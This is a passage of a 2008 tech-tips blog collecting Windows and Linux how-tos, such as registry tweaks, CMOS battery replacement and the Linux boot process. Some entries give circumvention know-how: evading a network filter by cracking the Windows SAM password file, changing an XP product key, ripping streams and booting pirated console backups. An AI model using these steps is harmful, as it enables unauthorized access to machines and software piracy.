• http://www.hotscripts.com/Detailed/28480.html]http://www.hotscripts.com/Detailed/28480.html

• http://www.inetprivacy.com/a4proxy/anonymous-grc.htm]http://www.inetprivacy.com/a4proxy/anonymous-grc.htm

• http://www.orangatango.com/home/index.ie.html]http://www.orangatango.com/home/index.ie.html

• http://www.steganos.com]http://www.steganos.com

• http://www.anonymization.net]http://www.anonymization.net ? toolbar that requires admin rights to install

Making your own CGI proxy server:

Making your own proxy server may come in handy, but I personally find that simply uploading a txt file/w a list of proxies to a free host makes for a much easier and headache free solution. If you don't know PERL, there is code out there to help you set it up. Check out these sites for more info:

• http://httpbridge.sourceforge.net]http://httpbridge.sourceforge.net

• http://www.jmarshall.com/tools/cgiproxy]http://www.jmarshall.com/tools/cgiproxy

• http://www.manageability.org/blog/stuff/open-source-personal-proxy-servers-written-in-java/view]http://www.manageability.org/blog/stuff/op...en-in-java/view

Admin Access:

When all else fails, you can simply take over the PC and alter or delete the damn filter. This method varies according to the OS (operating system) you are dealing with. Please see "Hacking Windows NT" for more information. If this tutorial has been taken from information leak, then I will go as far as to say it involves booting the PC in another OS, copying the SAM file and cracking it using a program like saminside or LC5 rather than start a whole new topic within one.

How To Change Thumbnail Size And QualitY

2008-09-15T23:58:00.002-07:00

If any of you out there like to use the thumbnail view, especially for browsing through photos and images, it can become a bit of a drain on your system. It is possible to lower the thumbnail size and quality by editing the following registry keys.

Open the registry and navigate to :

HKEY_CURRENT_USER\ Software\ Microsoft \ Windows\ CurrentVersion\ Explorer

Create a new DWORD value called ThumbnailSize, and set the value between 32 and 256.

And/or create another DWORD value called ThumbnailQuality, and set the value between 50 and 100.

Key Details :

USER Key: [HKEY_CURRENT_USER\ Software\ Microsoft \ Windows\ CurrentVersion\ Explorer]

Value Name: ThumbnailSize

Data Type: REG_DWORD (DWORD Value)

Data Value: 32 - 256

USER Key: [HKEY_CURRENT_USER\ Software\ Microsoft \ Windows\ CurrentVersion\ Explorer]

Value Name: ThumbnailQuality

Data Type: REG_DWORD (DWORD Value)

Data Value: 50 - 100

How to change the serial number used in Windows XP, Valid for XP Corporate

2008-09-15T23:58:00.001-07:00

Step 1

Open Start/Run... and type the command:

regedit and click "OK" (or press ENTER).

Go to HKey_Local_Machine\Software\Microsoft\WindowsNT\Current Version\WPAEvents,

on the right double click on "oobetimer" and change at least one digit of this value to deactivate windows.

Click "OK" and close the Registry Editor.

Step 2

Open Start/Run... and type the command:

%systemroot%\system32\oobe\msoobe.exe /a and click "OK" (or press ENTER).

This will bring up the "Activate Windows" window.

Check the option for "Yes, I want to telephone a customer service representative to activate Windows" and click "Next"

Step 3

Then click "Change Product Key" (don't enter any information on that screen)

Step 4

Type in the new key and click "Update"

The activate Windows by phone window will reappear at this point, just close it by clicking the X in the upper right hand corner

Step 5

Reboot your system and Open Start/Run... and type the command:

%systemroot%\system32\oobe\msoobe.exe /a and click "OK" (or press ENTER).

If you see "Windows is already activated" then everything is OK.

HOW TO CAPTURE STREAMING MEDIA

2008-09-15T23:46:00.001-07:00

HOW TO CAPTURE STREAMING MEDIA

many websites (http://ww.smashits.com) stream songs and videos

people believe they cannot be downloaded, quite why i dont know. they kinda think there is no file present to dwnld

once the file is located it can then be retrieved by nettransport

nettransport is able to dwnld any file whether ftp or rtsp etc

1. Download Project URL Snooper 1.02.01 from http://rain66.at.infoseek.co.jp/

2. Install URL Snooper (and WinPcap together)

3. Don't run URL Snooper when it is done installing

4. Restart computer

5. Open Project URL Snooper

6. Click on the General Options Tab

7. user posted image

8. Chose a network adapter

9. Now click on the search tab

10. Click Sniff Network

11. Go to a webpage and you should see some results in the results list

12. If nothing is appearing then chose another network adapter, until one works

13. Now you are ready to begin searching

14. Click the "Hide Non-Streaming URLs" option to hide all http:// references and only show URLs corresponding to streaming audio/video (rtsp, pnm, wma, etc.)

15. Then click Sniff Network

16. Your links should appear as you begin streaming your file

17. Select your desired stream user posted image

18. usually rm file user posted image

19. On the bottom there should be the link which you simply copy user posted image

20. Download nettransport from here ftp://down_transport:123@s1.5fox.com/NT2Setup_multi.EXE or

ftp://nettransport:nettransport@61.153.24...Setup_multi.EXE

http://lycos26486.l97.lycos.com.cn/download.htm

21. Install it

22. Click on new

23. Paste link

now you should be able to download any file

if u need ne help

jus ask

i think dialups may have problems

How To Change A Cmos Battery

2008-09-15T23:45:00.001-07:00

First the safety rules

The inside of a computer is a bad place full of electricity and sharp edges.

On the electricity side always when working on you computer make sure that it's still plugged in to the power socket and the power is turned off, this is to ensure that any static

From you is discharged through the earth. The inside of most computer cases are unfinished metal and has very sharp edges so be careful.

The first signs of a battery failing are:-

1) your clock starts running slowly

2) when you boot (start) your computer it has a problem finding your hardware (no hard drive, no cd rom)

To change the battery you need the following tools

1) a X-point screwdriver

2) an anti-static strap(optional)

3) a new battery (seems logical)

Then unplug all the cables from the back of the computer as you remove them make a note where they came from. (So when you finished you can put them back)

Move the computer somewhere where you can work on it with ease

Remove the cover by locating the screws around the outer edge (back) of the computer

Some computer cases only require you to remove 2 screws on one side then a panel can be removed allowing you access to the computers insides, others you must remove 6 screws and remove the whole case by sliding it to the rear and lifting it off.

Now make sure that you read the safety instructions about static.

Look inside you will see a round silver thing that looks about the size of a 10p piece (quarter). This is the battery itself, carefully lift the retaining clip and slide the battery out. That's it removed now go to your local computer retailer, electrical retailer (Tandy/Radio shack) taking the old battery with you and get a new battery.

Back to your computer insert the new battery by lifting the clip and sliding the battery in.

Reinstall your case and plug all the cables back (you did remember to label them didn't you)

Now for the fun part.

You will now need to go into you bios….

Right the bios is the god of your computer.

To access it, when your computer first starts you will see a black screen with white text.

If you look carefully you will see a line that says something like "press del for setup" or some other key (F2 or ESC or tab) this will take you to god's house where you can make lots of changes to the way your machine works.

It is also the place where you can make your nice computer in to a rather expensive door stop so be careful and don't go playing with anything.

You will now be presented with a blue screen with a lot of options on it,

The one we want is load optimised/default settings.

Press the F10 key and type y the computer should now reboot.

If every thing went well then your computer will now be up and running.

FIRMAN way: Keep computer running. Lay it on it's side and remove side cover to expose MoBo. Take any thin object, "small screwdriver, knife point, wood shiskabob skewer. Pull back the battery retaining clip. Toss the old battery in the junk recepticle, unless you belong to greenpeace and want to save the earth. Install the new battery. No need to reset bios becasue the compter supplies voltage to the cmos while it is running. Reset or resync clock with internet. Done!

How To Backup Ps2 Games

2008-09-15T23:44:00.001-07:00

Hi guys...here I found a tutorial of another Foum:

INFO: Text didn't write by me!

Okay, these are some methods to backup PS2 titles and Xbox titles, in order to play a backup you need a modchip of some sort, I have also included a tutorial on boot methods. Follow any one of these instructions to fit your needs. You can tell what format the PS2 title is by looking at the written side of the disc, DVD's are Silver and CD's are Purple. The DVD backup methods here consist of reading the image to the hard drive then burning it to the media for an easier backup, this depends on your hardware and it?s setup. I say that because the proper setup would be to have the Reader and Writer on separate IDE cables. This allows no cross information when doing Disc to Disc/On the fly copying. But, since most people would not know how to check or fix this, I suggest reading the image to your Hard Drive and then burning from there. *A little useful trick*, If the DVD backup "image" is small enough in size you can fit it onto a CD-R (80 minute or larger if need be) instead of using a more expensive DVD-R. I have done this succesfully using Prassi and the first tutorial for it below. In addition a DVD Movie backup will play on a PS2/Xbox without a chip. As I get more info I will update. Dexter

PS1/PS2 CD backup tutorials

Using CloneCD (v4.x.xx) for PS1/PS2

1. Start CloneCD

2. Select "Copy CD"

3. Select your Reader, press Next

4. Select "Game CD", press Next

5. Select/Deselect your options here (on the fly, cue or delete) then press Next

6. Select your Writer, press Next

7. Select your burn speed and "Game CD"

8. Press "OK" to begin

Using Alcohol 120% for PS1/PS2

1. Start Alcohol 120%

2. Select ?Copy Wizard?

3. Select your Reader & Read Speed

4. Select or Deselect ?Copy current disc on the fly?

5. For Datatype select which console PS1 or PS2, press Next

6. Select your Image location and Name for it, press Next

7. Select you Writer, Write Speed and anything else you feel you might need

8. Make sure the Datatype selected is the same you chose above

9. Press Start to begin

PS2 DVD backup tutorials

Using Prassi

1. Start Primo

2. Select "go to full application"

3. Right Click the drive that has your original in it

4. Select "build global image" and choose a path for the image (preferably on an NTFS opsys)

5. After the image is extracted go to next step

6. Choose the 3rd disc icon from the left *or* click file, new job, Global/Other Image

7. Then just burn the .gi (global image) of the game

This next way has one less step which saves some time because once you press record it does everything by itself (if you have a DVD reader and DVD Writer)

1. Start Primo

2. Use the "PrimoDVD Starter" (it's easier, and less confusing)

3. Choose "disc copy"

4. Select your Reader and Also your Writer

5. Select "make a temp image on HD..."

6. Select your burn speed and then record to begin

Using Nero

1. Start Nero, Use the Wizard (for easy use)

2. Select "DVD" then select Next

3. Select "Copy a DVD" then select Next

4. Select your source drive

5. Check OFF "copy on the fly" then select next

6. Select your write speed

7. Select either "Test", "Test and Burn" or "Burn"

8. Press "Burn" to begin

This next way is without the Wizard

1. Start Nero, and select "File" then "New..."

2. On upper left side of the window from the drop down menu select "DVD"

3. Select "DVD Copy" Icon

4. Select "Copy options" tab

5. Check OFF "copy on the fly"

6. Select source drive and read speed

7. If needed Select "Image" tab to choose image directory and select/deselect "delete image..."

8. Select "Burn" tab and choose your settings

9. Press "Copy" to begin

Using Alcohol 120%

1. Start Alcohol 120%

2. Select ?Copy Wizard?

3. Select your Reader

4. For ?Separate Image file every:? choose ?Never Separate?

5. Select or Deselect ?Copy current disc on the fly?, press Next

6. Select your Image location and Name for it, press Next

7. Select you Writer, Write Speed and anything else you feel you might need

8. Select or Deselect ?Delete image file after recording?

9. Press Start to begin

XBOX backup tutorials

Xbox original games are burned from the outside in. The only way to backup a title is to have a modchip like X-exuter (best), Enigma, or Xodus/Matrix. You also have to flash the bios and have a CD program inserted or installed into the X-Box named EVO-X (this allows you to assign the X-Box an IP address). The game has to be stored on the X-Box's HD, this allows you to file transfer the title to your PC using an ftp program like FlaxhFXP (best) or similar. From there you use a burning application to make the backup. Some applications allows you to "drag & drop" right from the Xbox or you can build an ISO of the image then burn to CD-R/W or DVD-R/W backup. (I will update this to show steps as soon as I have a minute)

Modded PS2 with or without Action Replay/GameShark CD & DVD backup booting methods

PS2 with NeoKey/Sbox & AR/GS, PS1 CD backup booting

1. Turn on PS2 and NeoKey/Sbox

2. Press Eject

3. Insert PS1 CD backup

4. Press reset

5. PS2 tray will close

6. PS1 CD backup will now boot

PS2 with NeoKey/Sbox & AR/GS, PS2 CD backup booting

1. Have AR/GS dongle in a memory card slot

2. Power on your PS2

3. Insert AR/GS disc

4. At the AR/GS menu, select Start Game, With/Without codes

5. Eject and swap to your PS2 CD backup and press X.

6. Screen will change and game will now boot

* Note - Neokey will not play DVD-R!

* Note - Old versions of AR2/GS2 you might need to press R1+O instead of X to boot games

PS2 with Neo 2.2, PS1 CD backup booting

1. Turn on PS2

2. Press Eject

3. Insert PS1 CD backup

4. Press reset

5. PS2 tray will close

6. PS1 CD backup will now boot

PS2 with Neo 2.2 & AR/GS, PS2 CD backup booting

PS2 with Neo 2.2 & AR/GS, PS2 DVD backup booting

1. Have AR/GS dongle in a memory card slot

2. Power on your PS2

3. Insert AR/GS disc, close tray

4. Power off your PS2, wait a few seconds

5. Press and Hold Reset button to load AR/GS

6. At the AR2/GS2 menu, press EJECT while still holding Reset

7. Swap AR/GS disc for an Original-TOC-DVD* and wait 10 seconds

8. Select "AR/GS Codes"

9. Highlight "Add new code" and press X to get to the next screen

10. Press X three times. You will see "Updating code list please wait" each time)

11. Press "Start" on controller

12. Select "Without codes", press X

13. Then Press X again, and immediately release the Reset button, you will see "Updating code list please wait"

14. The PS2 tray will eject allowing you to swap Original-TOC-DVD* for DVD backup and then close on it?s own

15. Screen will change and game will now boot

* Note - "Original-TOC-DVD" is an original DVD that is a larger file size than the backup

* Note ? For a shortcut make a few ?Add new codes? and after step 8 just highlight one of them and press square to delete it, then proceed on with step 11

PS2 with Messiah

1. PSX Backups will boot directly.

2. PS2 CD-R Backups will boot directly.

3. PS2 Unpatched EA backups will boot directly.

4. PS2 DVD-R Backups will boot directly.

PS2 with Magic 2, 3 or 3.5

1. PSX Backups will boot directly.

2. PS2 CD-R Backups will boot directly.

3. PS2 Unpatched EA backups will boot directly.

4. PS2 DVD-R Backups will boot directly.

Ps2 with Apple Mod

1. PSX Backups will boot directly.

2. PS2 CD-R Backups will boot directly.

3. PS2 Unpatched EA backups will boot directly.

4. PS2 DVD-R Backups will boot directly.[CODE]

How to Back Up the Registry

2008-09-15T23:43:00.001-07:00

Before you edit the registry, export the keys in the registry that you plan to edit, or back up the whole registry. If a problem occurs, you can then follow the steps how-to restore the registry to its previous state.

How to Export Registry Keys

Click Start, and then click Run.

In the Open box, type regedit, and then click OK.

On the File menu, click Export.

In the Save in box, select the boxs at the bottom the bottom according to weather you want to export all or only selected branches of the registry.

Next select a location in which to save the backup .reg file. In the File name box, type a file name, and then click Save.

How to Restore the Registry

To restore registry keys that you exported, double-click the .reg file that you saved.

How To Add Your Own Windows Tips

2008-09-15T23:42:00.000-07:00

re you sick of seeing the same tips again and again when you first logon to Windows? Now you can change them to whatever you want, whether it's quotes, jokes or a to-do list, anything is possible.

Open your registry and find the key below.

HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows\ CurrentVersion\ Explorer\ Tips

Create a new string valued named by incrementing the existing value names and set it to the required tip text.

eg. 32 - Dont forget to Visit ShareOrDie.com

How To Add An Option To Print, the Contents of a Folder

2008-09-15T23:41:00.005-07:00

How to Add an Option to Print the Contents of a Folder

Would you like to be able to right click any folder in Explorer and print its contents? You can add this option to the context menu by following these steps:

First, you need to create a batch file called Printdir.bat. Open Notepad or another text editor and type (or cut and paste) this text:

@echo off

dir %1 /-p /o:gn > "%temp%\Listing"

start /w notepad /p "%temp%\Listing"

del "%temp%\Listing"

exit

Now, in the Save As dialog box, type "%windir%\Printdir.bat" (without the quotation marks) and click the Save button.

Click Start, Control Panel, Folder Options.

Click the File Types tab, and then click File Folder.

Click the Advanced button.

Click the New button.

In the Action box, type "Print Directory Listing" (without the quotation marks).

In the Application used to perform action box, type "Printdir.bat" (without the quotation marks).

Click OK in all three dialog boxes to close the dialog boxes.

You're not quite finished yet! Now you need to edit the Registry, so open your favorite Registry Editor.

Navigate to HKEY CLASSES ROOT\Directory\shell.

Right click on "default" and select Modify.

In the File Data box, type "none" (without the quotation marks).

Click OK and close the Registry Editor.

Now when you right click a folder, you'll see the option to Print Directory Listing. Selecting it will print the contents of the folder.

Who needs a stinking program to print a folder directory?

How To Add A Url Address Bar To The Taskbar

2008-09-15T23:41:00.003-07:00

You can add an Internet URL address bar to your Windows XP taskbar. Doing so will let you type in URLs and launch Web pages without first launching a browser. It will also let you launch some native Windows XP applications in much the same way as you would via the Run menu (so you could type in calc to launch the calculator or mspaint to launch Microsoft Paint. Here's how you add the address bar:

1. Right-click on the taskbar, select Toolbars, and then click Address.

2. The word Address will appear on your taskbar.

3. Double click it to access it.

4. If that doesn't work, your taskbar is locked. You can unlock it by right-clicking on the taskbar again and uncheck Lock the Taskbar.

NOTE: You may also need to grab the vertical dotted lines beside the word Address and drag it to the left to make the Address window appear.

How To Access Your Folders From Your Taskbar

2008-09-15T23:41:00.001-07:00

How To Access Your Folders From Your Taskbar

This is an easy way to get to the folders on your system without having to open a Windows Explorer Window every time you want to access files. I find it very useful to have this feature as it allows me to access my Folders and Drives immediately and saves me a lot of time.

This works in Windows XP:

1. Right Click an empty spot on your Taskbar (Between your Start Button and your System Tray).

2. Click Toolbars.

3. Click New Toolbar.

4. A Small Window will Open that allows you to pick the folder you wish to make a Toolbar. If you want to access your Desktop Without having to minimize all your windows. Just Pick Desktop. If you want to access ONLY your My Documents Folder, Select that. Any folder will work for this.

5. Click OK.

The New Tool bar will appear at the bottom of your screen next to your System Tray.

If you find this to be not useful, Repeat Steps 1 and 2 and then check click the Toolbar you created that has a check mark next to it. And it will disappear.

How Long Has Your XP System Been Running

2008-09-15T23:40:00.001-07:00

How Long Has Your System Been Running?

Here's how you verify system uptime:

Click Start | Run and type cmd to open a command prompt.

At the prompt, type systeminfo

Scroll down the list of information to the line that says System Up Time.

This will tell you in days, hours, minutes and seconds how long the system has been up.

Note that this command only works in XP Pro, not in XP Home. You can, however, type net statistics workstation at the prompt in Home. The first line will tell you the day and time that the system came online.

How Linux boots

2008-09-15T23:39:00.001-07:00

How Linux boots

As it turns out, there isn't much to the boot process:

1. A boot loader finds the kernel image on the disk, loads it into memory, and starts it.

2. The kernel initializes the devices and its drivers.

3. The kernel mounts the root filesystem.

4. The kernel starts a program called init.

5. init sets the rest of the processes in motion.

6. The last processes that init starts as part of the boot sequence allow you to log in.

Identifying each stage of the boot process is invaluable in fixing boot problems and understanding the system as a whole. To start, zero in on the boot loader, which is the initial screen or prompt you get after the computer does its power-on self-test, asking which operating system to run. After you make a choice, the boot loader runs the Linux kernel, handing control of the system to the kernel.

There is a detailed discussion of the kernel elsewhere in this book from which this article is excerpted. This article covers the kernel initialization stage, the stage when the kernel prints a bunch of messages about the hardware present on the system. The kernel starts init just after it displays a message proclaiming that the kernel has mounted the root filesystem:

VFS: Mounted root (ext2 filesystem) readonly.

Soon after, you will see a message about init starting, followed by system service startup messages, and finally you get a login prompt of some sort.

NOTE On Red Hat Linux, the init note is especially obvious, because it "welcomes" you to "Red Hat Linux." All messages thereafter show success or failure in brackets at the right-hand side of the screen.

Most of this chapter deals with init, because it is the part of the boot sequence where you have the most control.

init

There is nothing special about init. It is a program just like any other on the Linux system, and you'll find it in /sbin along with other system binaries. The main purpose of init is to start and stop other programs in a particular sequence. All you have to know is how this sequence works.

There are a few different variations, but most Linux distributions use the System V style discussed here. Some distributions use a simpler version that resembles the BSD init, but you are unlikely to encounter this.

Runlevels

At any given time on a Linux system, a certain base set of processes is running. This state of the machine is called its runlevel, and it is denoted with a number from 0 through 6. The system spends most of its time in a single runlevel. However, when you shut the machine down, init switches to a different runlevel in order to terminate the system services in an orderly fashion and to tell the kernel to stop. Yet another runlevel is for single-user mode, discussed later.

The easiest way to get a handle on runlevels is to examine the init configuration file, /etc/inittab. Look for a line like the following:

id:5:initdefault:

This line means that the default runlevel on the system is 5. All lines in the inittab file take this form, with four fields separated by colons occurring in the following order:

# A unique identifier (a short string, such as id in the preceding example)

# The applicable runlevel number(s)

# The action that init should take (in the preceding example, the action is to set the default runlevel to 5)

# A command to execute (optional)

There is no command to execute in the preceding initdefault example because a command doesn't make sense in the context of setting the default runlevel. Look a little further down in inittab, until you see a line like this:

l5:5:wait:/etc/rc.d/rc 5

This line triggers most of the system configuration and services through the rc*.d and init.d directories. You can see that init is set to execute a command called /etc/rc.d/rc 5 when in runlevel 5. The wait action tells when and how init runs the command: run rc 5 once when entering runlevel 5, and then wait for this command to finish before doing anything else.

There are several different actions in addition to initdefault and wait, especially pertaining to power management, and the inittab(5) manual page tells you all about them. The ones that you're most likely to encounter are explained in the following sections.

respawn

The respawn action causes init to run the command that follows, and if the command finishes executing, to run it again. You're likely to see something similar to this line in your inittab file:

1:2345:respawn:/sbin/mingetty tty1

The getty programs provide login prompts. The preceding line is for the first virtual console (/dev/tty1), the one you see when you press ALT-F1 or CONTROL-ALT-F1. The respawn action brings the login prompt back after you log out.

ctrlaltdel

The ctrlaltdel action controls what the system does when you press CONTROL-ALT-DELETE on a virtual console. On most systems, this is some sort of reboot command using the shutdown command.

sysinit

The sysinit action is the very first thing that init should run when it starts up, before entering any runlevels.

How processes in runlevels start

You are now ready to learn how init starts the system services, just before it lets you log in. Recall this inittab line from earlier:

l5:5:wait:/etc/rc.d/rc 5

This small line triggers many other programs. rc stands for run commands, and you will hear people refer to the commands as scripts, programs, or services. So, where are these commands, anyway?

For runlevel 5, in this example, the commands are probably either in /etc/rc.d/rc5.d or /etc/rc5.d. Runlevel 1 uses rc1.d, runlevel 2 uses rc2.d, and so on. You might find the following items in the rc5.d directory:

S10sysklogd S20ppp S99gpm

S12kerneld S25netstd_nfs S99httpd

S15netstd_init S30netstd_misc S99rmnologin

S18netbase S45pcmcia S99sshd

S20acct S89atd

S20logoutd S89cron

The rc 5 command starts programs in this runlevel directory by running the following commands:

S10sysklogd start

S12kerneld start

S15netstd_init start

S18netbase start

...

S99sshd start

Notice the start argument in each command. The S in a command name means that the command should run in start mode, and the number (00 through 99) determines where in the sequence rc starts the command.

The rc*.d commands are usually shell scripts that start programs in /sbin or /usr/sbin. Normally, you can figure out what one of the commands actually does by looking at the script with less or another pager program.

You can start one of these services by hand. For example, if you want to start the httpd Web server program manually, run S99httpd start. Similarly, if you ever need to kill one of the services when the machine is on, you can run the command in the rc*.d directory with the stop argument (S99httpd stop, for instance).

Some rc*.d directories contain commands that start with K (for "kill," or stop mode). In this case, rc runs the command with the stop argument instead of start. You are most likely to encounter K commands in runlevels that shut the system down.

Adding and removing services

If you want to add, delete, or modify services in the rc*.d directories, you need to take a closer look at the files inside. A long listing reveals a structure like this:

lrwxrwxrwx . . . S10sysklogd -> ../init.d/sysklogd

lrwxrwxrwx . . . S12kerneld -> ../init.d/kerneld

lrwxrwxrwx . . . S15netstd_init -> ../init.d/netstd_init

lrwxrwxrwx . . . S18netbase -> ../init.d/netbase

...

The commands in an rc*.d directory are actually symbolic links to files in an init.d directory, usually in /etc or /etc/rc.d. Linux distributions contain these links so that they can use the same startup scripts for all runlevels. This convention is by no means a requirement, but it often makes organization a little easier.

To prevent one of the commands in the init.d directory from running in a particular runlevel, you might think of removing the symbolic link in the appropriate rc*.d directory. This does work, but if you make a mistake and ever need to put the link back in place, you might have trouble remembering the exact name of the link. Therefore, you shouldn't remove links in the rc*.d directories, but rather, add an underscore (_) to the beginning of the link name like this:

mv S99httpd _S99httpd

At boot time, rc ignores _S99httpd because it doesn't start with S or K. Furthermore, the original name is still obvious, and you have quick access to the command if you're in a pinch and need to start it by hand.

To add a service, you must create a script like the others in the init.d directory and then make a symbolic link in the correct rc*.d directory. The easiest way to write a script is to examine the scripts already in init.d, make a copy of one that you understand, and modify the copy.

When adding a service, make sure that you choose an appropriate place in the boot sequence to start the service. If the service starts too soon, it may not work, due to a dependency on some other service. For non-essential services, most systems administrators prefer numbers in the 90s, after most of the services that came with the system.

Linux distributions usually come with a command to enable and disable services in the rc*.d directories. For example, in Debian, the command is update-rc.d, and in Red Hat Linux, the command is chkconfig. Graphical user interfaces are also available. Using these programs helps keep the startup directories consistent and helps with upgrades.

HINT: One of the most common Linux installation problems is an improperly configured XFree86 server that flicks on and off, making the system unusable on console. To stop this behavior, boot into single-user mode and alter your runlevel or runlevel services. Look for something containing xdm, gdm, or kdm in your rc*.d directories, or your /etc/inittab.

Controlling init

Occasionally, you need to give init a little kick to tell it to switch runlevels, to re-read the inittab file, or just to shut down the system. Because init is always the first process on a system, its process ID is always 1.

You can control init with telinit. For example, if you want to switch to runlevel 3, use this command:

telinit 3

When switching runlevels, init tries to kill off any processes that aren't in the inittab file for the new runlevel. Therefore, you should be careful about changing runlevels.

When you need to add or remove respawning jobs or make any other change to the inittab file, you must tell init about the change and cause it to re-read the file. Some people use kill -HUP 1 to tell init to do this. This traditional method works on most versions of Unix, as long as you type it correctly. However, you can also run this telinit command:

telinit q

You can also use telinit s to switch to single-user mode.

Shutting down

init also controls how the system shuts down and reboots. The proper way to shut down a Linux machine is to use the shutdown command.

There are two basic ways to use shutdown. If you halt the system, it shuts the machine down and keeps it down. To make the machine halt immediately, use this command:

shutdown -h now

On most modern machines with reasonably recent versions of Linux, a halt cuts the power to the machine. You can also reboot the machine. For a reboot, use -r instead of -h.

The shutdown process takes several seconds. You should never reset or power off a machine during this stage.

In the preceding example, now is the time to shut down. This argument is mandatory, but there are many ways of specifying it. If you want the machine to go down sometime in the future, one way is to use +n, where n is the number of minutes shutdown should wait before doing its work. For other options, look at the shutdown(8) manual page.

To make the system reboot in 10 minutes, run this command:

shutdown -r +10

On Linux, shutdown notifies anyone logged on that the machine is going down, but it does little real work. If you specify a time other than now, shutdown creates a file called /etc/nologin. When this file is present, the system prohibits logins by anyone except the superuser.

When system shutdown time finally arrives, shutdown tells init to switch to runlevel 0 for a halt and runlevel 6 for a reboot. When init enters runlevel 0 or 6, all of the following takes place, which you can verify by looking at the scripts inside rc0.d and rc6.d:

1. init kills every process that it can (as it would when switching to any other runlevel).

# The initial rc0.d/rc6.d commands run, locking system files into place and making other preparations for shutdown.

# The next rc0.d/rc6.d commands unmount all filesystems other than the root.

# Further rc0.d/rc6.d commands remount the root filesystem read-only.

# Still more rc0.d/rc6.d commands write all buffered data out to the filesystem with the sync program.

# The final rc0.d/rc6.d commands tell the kernel to reboot or stop with the reboot, halt, or poweroff program.

The reboot and halt programs behave differently for each runlevel, potentially causing confusion. By default, these programs call shutdown with the -r or -h options, but if the system is already at the halt or reboot runlevel, the programs tell the kernel to shut itself off immediately. If you really want to shut your machine down in a hurry (disregarding any possible damage from a disorderly shutdown), use the -f option.

How Download MP3s from Fanscape.com or other Streaming Audio-Video

2008-09-15T23:36:00.001-07:00

How Download MP3s from Fanscape.com or other Streaming Audio/Video Page

Part1

1- Download "CoCSoft Stream Down" here:

http://www.projectw.org/viewtopic.php?t=40095&highlight=cocsoft+stream

2- Go to Fanscape.com or other Streaming Audio/Video Page (like MTV or VH1) search

for your Artist or Band, and play your song, a pop up will appear, with a

windows player preview, then, right clic on this player, and clic on "properties"

3- Will appear a options,stay in "File" tag, go down to "Location" Select all the link address and copy

4- Go to "CoCSoft Stream Down" program, and clic on "ADD" icon, and paste the link address, that u copied on the page, choose your directory to download, and clic in Ok

5- Now, You are downloading the .ASF File

Part 2

1- When you finished of download the .ASF File, open River Past Audio Converter

Download here: http://www.projectw.org/viewtopic.php?t=24947&highlight=river+past

Note: To extract audio from ASF (Advanced Systems Format) files to MP3 with River Past Audio Converter, you should have DirectX 8.0 or above (9.0 highly recommended), and Windows Media Format 9 runtime installed.

2- Once River Past Audio Converter is installed properly, launch Audio Converter.

3- Add File

Click on the "Add" button on the tool bar. The standard file open dialog appears. Select "Windows Media Video" in its "Files of type" combo box.

Select the file you want to convert and click "Open". The file will be added to the conversion file list.

4- Select output format

Use the "Audio Format" setting panel on the bottom of the window to control the output format. Select "MP3" as the "File Type".

You can change the sample rate, channel (stereo or mono) and bitrate. Audio CD's native format is 44.1 kHz, stereo.

5- Select output directory

Expand the "Output Directory" panel. Use the button to select an output directory.

6- Convert!

Click the "Convert" button on the tool bar.

7- Enjoy!!!

Important Notes:

1- The First part, can be used for VIDEOS file, just try it, I do it icon_lol.gif

2- This Tutorial is not 100% perfect, just do it

3- The final Quality from your Mp3, will sound like streaming Audio, cuz we

extract it from a streaming File(maybe 20 or 32 kb/s).

4- If u think, that I'm in a mistake or I'm a fool, please tell me, I will to

learn

5- if u wanna add something, plz Do it, We gonna appreciate your

colaboration

How do I Test My VirusScan Installation

2008-09-15T23:35:00.001-07:00

How do I Test My VirusScan Installation? (Eicar)

Description

After installing VirusScan, you may logically wonder, how do I know if it's working? The answer is a test virus. The EICAR Standard AntiVirus Test File is a combined effort by anti-virus vendors throughout the world to implement one standard by which customers can verify their anti-virus installations.

Solution

To test your installation, copy the following line into its own file, then save the file with the name EICAR.COM. More detailed instructions are found below.

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

The file size will be 68 or 70 bytes.

If VirusScan is running and configured correctly, when you try to save the file, VirusScan will detect the virus. If VirusScan is not running, start it and scan the directory that contains EICAR.COM. When your software scans this file, it will report finding the EICAR test file.

Note that this file is NOT A VIRUS. Delete the file when you have finished testing your installation to avoid alarming unsuspecting

users.

The eicar test virus is available for download from the following website:

http://www.eicar.org/download/eicar.com

Creating Eicar.com

1. Click on Start.

2. Select Run.

3. In the Open box type: notepad

4. Maximize the window.

5. Highlight the following on the following line of text:

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

6. Right click on the highlighted text and choose 'copy'.

7. Switch back to Notepad.

8. Right click anywhere inside of Notepad and select 'paste'.

9. Click the File menu and select 'save as'.

10. Change the 'Save as Type' to 'all files'.

11. Name the file eicar.com.

How do I remove an extra operating system

2008-09-15T23:34:00.003-07:00

If you have more then one operating system installed or wish

to remove an operating system from the boot menu, you can use the following information.

1.Click on Start, Control Panel, System, Advanced.

2.Under Startup and Recovery, click Settings.

3.Under Default Operating System, choose one of the following:

"Microsoft Windows XP Professional /fastdetect"

-or-

"Microsoft Windows XP Home /fasdetect"

-or-

"Microsoft Windows 2000 Professional /fastdetect"

4.Take the checkmark out of the box for "Time to display a list of Operating Systems".

5.Click Apply and Ok, and reboot the system.

*If you wish to edit the boot.ini file manually, click on the button "EDIT"

overburn a CD with Nero

2008-09-15T23:34:00.001-07:00

How do I overburn a CD with Nero?

Start Nero

From the action-bar select File and select Preferences.

In the Preferences window, select Expert Features(1) and check the Enable overburn disc-at-once(2).

Choose a Maximum CD Length(3) and click OK(4) (*82:59:59 is the maximum value I suggest, but as you can see from the screen capture above I have set mine significantly higher. The reason is because I frequently use 99min 850 MB CD media).

For a more accurate test you can use a nero tool called nero speed test to see how much a specific CD is capable of being overburned . get it here

From the action-bar select File and select Write CD.

A window will appear when you have exceeded expected length, click OK to start the overburn copy.

Remember to set disk to burn Disc at Once, you cannot overburn in Track at Once Mode.

Hide Drives and Partitions.txt

2008-09-15T23:33:00.001-07:00

Hide Drives and Partitions

Do you have data on a partition or hard drive that you don't want tampered with or easily accessible to other users? Well, you can hide any drive/partition in Windows XP, NT, and 2000. That means that they won't show up in Explorer or My Computer.

If you want access to that drive from your user account you should create a desktop shortcut before proceeding. Once hidden, you can still access by typing the drive letter and a colon in Start/Run-for example, "D:" will bring up a folder of the contents on your D drive.

The easiest way with Win XP is to use the TweakUI power toy from Mcft. Go to Start/Run and type in "tweakui" (without the quotes).

